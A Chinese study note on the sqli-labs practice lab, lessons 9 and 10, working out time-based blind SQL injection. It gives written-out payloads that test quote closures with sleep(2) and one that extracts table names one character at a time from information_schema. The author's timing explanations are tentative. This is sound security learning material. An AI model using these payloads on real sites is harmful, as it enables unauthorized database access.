sqli_labs less-9 和 less-10 相似,只不过时查询语句的闭合方式不同。
在做完less-9 和less-10 之后,感觉没有头绪,然后总结一下。
在less 9中,由于没有报错提示,所以只能通过响应时间来判断。判断语句如下:
?id=1’ or sleep(2) --+ 通过改变数值和单引号位置的符号来判断是否有注入点。关于符号我尝试了很多比如:’ , " , ) , ’ " ," ’ , ’ ) ,等等。同时我也尝试了前面的数字:比如:用为真的数值 1,和为假数值 100 进行测试。我发现符号为:’ 和**" '** 时有延时,而且无论时1 还是100 都有延时。我觉得sleep(2) 是一个为真的条件,or前面为真为假都有延时。后来用and进行测试发现,还真是这样的。但是我又发现这个延时有长有短。对于less 9 :
对于单引号闭合:
- ?id=1’ or sleep(2) --+ 长延时
- ?id=100’ or sleep(2) --+ 长延时
- ?id=1’ and sleep(2) --+ 短延时
- ?id=100’ and sleep(2) --+ 无延时
当看到这时,我欣喜的以为,只要符合这四点便可以确定为注入点。。但是我又进行**" '**进行测试发现。。。
对于双引号单引号闭合: - ?id=1"’ or sleep(2) --+ 长延时
- ?id=100"’ or sleep(2) --+ 长延时
- ?id=1"’ and sleep(2) --+ 短延时
- ?id=100"’ and sleep(2) --+ 无延时(经过思考,我感觉双引号是被当作输入看待了,而真正起作用的是单引号至于?id=1"’ and sleep(2)为什么会有延时,我还并不清楚。)
这两个的实验结果完全一样,我就很纳闷,通常来说注入点应该只有一个。于是我对两种形式都进行了测试。结果尽然两个都是注入点。结果如下:
单引号闭合实验语句:?id=1’ or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100,sleep(2),0) --+
双引号单引号闭合语句:?id=1"’ or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>1,sleep(2),0) --+
我怕上述是一种偶然。我就用less 10 进行验证,在尝试了很多的符号后发现只有**"** 和 ’ " 符合上述要求。
对于双引号闭合: - ?id=1" or sleep(2) --+ 长延时
- ?id=100" or sleep(2) --+ 长延时
- ?id=1" and sleep(2) --+ 短延时
- ?id=100" and sleep(2) --+ 无延时
对于单引号双引号闭合: - ?id=1’" or sleep(2) --+ 长延时
- ?id=100’" or sleep(2) --+ 长延时
- ?id=1’" and sleep(2) --+ 短延时
- ?id=100’" and sleep(2) --+ 无延时
到此都与上述结论一致。进行注入测试
***总结:***(这里都是我自己的想法)
在做关于时间盲注的题目时,**可以先用or语句进行符号的判断。然后用and语句进行检验,对于为什么or和and语句的延时不同我并不知道。or sleep(2) 大概25秒左右,而and sleep(2)大概2秒。这样看来在进行注入时可以使用and语句节省时间。但有的网站本身的响应时间就长,用and语句时可能会混淆,这时建议用or语句。
有时进行注入测试时并不知道真值,所以我认为如果只使用?id=假值 or sleep(2) --+ 长延时和?id=假值 and sleep(2) --+ 无延时 也可以进行判断